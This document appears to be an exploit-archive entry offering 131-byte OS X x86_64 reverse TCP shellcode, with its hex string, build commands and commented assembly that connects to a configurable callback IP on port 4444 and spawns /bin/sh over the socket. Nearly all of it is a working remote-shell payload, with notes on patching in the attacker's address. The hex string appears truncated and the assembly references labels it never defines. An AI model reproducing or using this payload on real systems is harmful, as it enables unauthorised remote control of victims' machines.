OSX/Intel reverse_tcp shell x86_64 - 131 bytes 2011-04-29 09:15:04

;osx x64 reverse tcp shellcode (131 bytes)
;Jacob Hammack
;[email protected]
;props to http://www.thexploit.com/ for the blog posts on x64 osx asm
;I borrowed some of his code

;#OSX reverse tcp shell (131 bytes)
;#replace FFFFFFFF around byte 43 with the call back ip in hex
;#replace 5C11 around byte 39 with a new port current is 4444
;shellcode =
;"\x41\xB0\x02\x49\xC1\xE0\x18\x49\x83\xC8\x61\x4C\x89\xC0\x48" +
;"\x31\xD2\x48\x89\xD6\x48\xFF\xC6\x48\x89\xF7\x48\xFF\xC7\x0F" +
;"\x05\x49\x89\xC4\x49\xBD\x01\x01\x11\x5C\xFF\xFF\xFF\xFF\x41" +
;"\xB1\xFF\x4D\x29\xCD\x41\x55\x49\x89\xE5\x49\xFF\xC0\x4C\x89" +
;"\xC0\x4C\x89\xE7\x4C\x89\xEE\x48\x83\xC2\x10\x0F\x05\x49\x83" +
;"\xE8\x08\x48\x31\xF6\x4C\x89\xC0\x4C\x89\xE7\x0F\x05\x48\x83" +
;"\xFE\x02\x48\xFF\xC6\x76\xEF\x49\x83\xE8\x1F\x4C\x89\xC0\x48" +
;"\x31\xD2\x49\xBD\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x49\xC1\xED" +

;nasm -f macho reverse_tcp.s -o reverse_tcp.o
;ld -o reverse_tcp -e start reverse_tcp.o


section .text
global start

mov r8b, 0x02 ; unix class system calls = 2
shl r8, 24 ; shift left 24 to the upper order bits
or r8, 0x61 ; socket is 0x61
mov rax, r8 ; put socket syscall # into rax

xor rdx, rdx ; zero out rdx
mov rsi, rdx ; AF_NET = 1
inc rsi ; rsi = AF_NET
mov rdi, rsi ; SOCK_STREAM = 2
inc rdi ; rdi = SOCK_STREAM
syscall ; call socket(SOCK_STREAM, AF_NET, 0);

mov r12, rax ; Save the socket

mov r13, 0xFFFFFFFF5C110101 ; IP = FFFFFFFF, Port = 5C11(4444)
mov r9b, 0xFF ; The sock_addr_in is + FF from where we need it
sub r13, r9 ; So we sub 0xFF from it to get the correct value and avoid a null
push r13 ; Push it on the stack
mov r13, rsp ; Save the sock_addr_in into r13

inc r8 ; Connect = 0x62, so we inc by one from the previous syscall
mov rax, r8 ; move that into rax
mov rdi, r12 ; move the saved socket fd into rdi
mov rsi, r13 ; move the saved sock_addr_in into rsi
add rdx, 0x10 ; add 0x10 to rdx
syscall ; call connect(rdi, rsi, rdx)

sub r8, 0x8 ; subtract 8 from r8 for the next syscall dup2 0x90
xor rsi, rsi ; zero out rsi

mov rax, r8 ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)

cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2

sub r8, 0x1F ; setup the exec syscall at 0x3b
mov rax, r8 ; move the syscall into rax

xor rdx, rdx ; zero out rdx
mov r13, 0x68732f6e69622fFF ; '/bin/sh' in hex
shr r13, 8 ; shift right to create the null terminator
push r13 ; push to the stack
mov rdi, rsp ; move the command from the stack to rdi
xor rsi, rsi ; zero out rsi
syscall ; call exec(rdi, 0, 0)